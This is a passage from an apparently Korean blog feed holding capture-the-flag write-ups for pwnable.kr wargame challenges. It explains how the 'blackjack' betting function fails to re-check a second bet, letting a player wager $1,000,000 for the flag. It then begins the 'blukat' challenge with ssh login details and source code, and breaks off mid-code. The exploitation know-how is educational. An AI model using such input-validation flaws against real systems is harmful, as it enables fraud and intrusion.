style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;betting()&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Asks&amp;nbsp;user&amp;nbsp;amount&amp;nbsp;to&amp;nbsp;bet&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\n\nEnter&amp;nbsp;Bet:&amp;nbsp;$&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bet);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(bet&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;player&amp;nbsp;tries&amp;nbsp;to&amp;nbsp;bet&amp;nbsp;more&amp;nbsp;money&amp;nbsp;than&amp;nbsp;player&amp;nbsp;has&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYou&amp;nbsp;cannot&amp;nbsp;bet&amp;nbsp;more&amp;nbsp;money&amp;nbsp;than&amp;nbsp;you&amp;nbsp;have.&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nEnter&amp;nbsp;Bet:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bet);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;bet;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;bet;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;End&amp;nbsp;Function&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;유저(게임의 참여자)가 betting 할 때 만일 유저가 가지고 있는 cash 보다 더 많은 cash를 betting 하면 다시 입력을 받고 bet를 return 하거나, 정상적으로 입력했을때, betting 값을 return 한다. 하지만 여기서 만일 잘못된 betting(cash보다 더 많은 betting)을 통해 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;다시 betting 값을 입력받을때, 예외 처리를 하지 않는다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 두 번째 입력을 받을때 임의의 betting 값 설정이 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;flag를 얻기 위해서 100만 달러 이상의 부자가 되어야 하니 100만 달러를 betting 후 게임에서 이겨보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 604px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9988DB3F5C24702103&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9988DB3F5C24702103&quot; width=&quot;604&quot; height=&quot;401&quot; filename=&quot;이미지 030.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;betting() function 오류를 이용해서 $1000000를 betting&lt;/span&gt; 하였다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 579px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996D9C3C5C24705A36&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996D9C3C5C24705A36&quot; width=&quot;579&quot; height=&quot;408&quot; filename=&quot;이미지 031.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dealer와의 게임에서 이기게 된다면, Cash에 $10000000가 추가되고 flag를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/234</guid>
      <comments>https://marcokhan.tistory.com/234#entry234comment</comments>
      <pubDate>Thu, 27 Dec 2018 15:28:19 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr] blukat 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/233</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- blukat&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh blukat@pwnable.kr 2222 (pw: guest)&lt;/span&gt;로 접속하면 blukat 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면&amp;nbsp;ssh blukat@pwnable.kr -p2222 (pw: guest)로 접속해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 존재하는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 929px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9917254C5C20B1191D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9917254C5C20B1191D&quot; width=&quot;929&quot; height=&quot;103&quot; filename=&quot;이미지 021.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 공격해야할 대상인 blukat과 blukat을 만들었을 source로 예상되는 blukat.c가 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;blukat에 setgid가 blukat_pwn 권한&lt;/span&gt;으로 걸려있고, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;password 파일 또한 blukat_pwn의 gid&lt;/span&gt;를 가지고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이로 미루어보아, blukat이 password를 사용할 것으로 짐작할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;blukat을 분석하기 위해 blukat.c를 살펴보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fcntl.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;flag[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;password[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 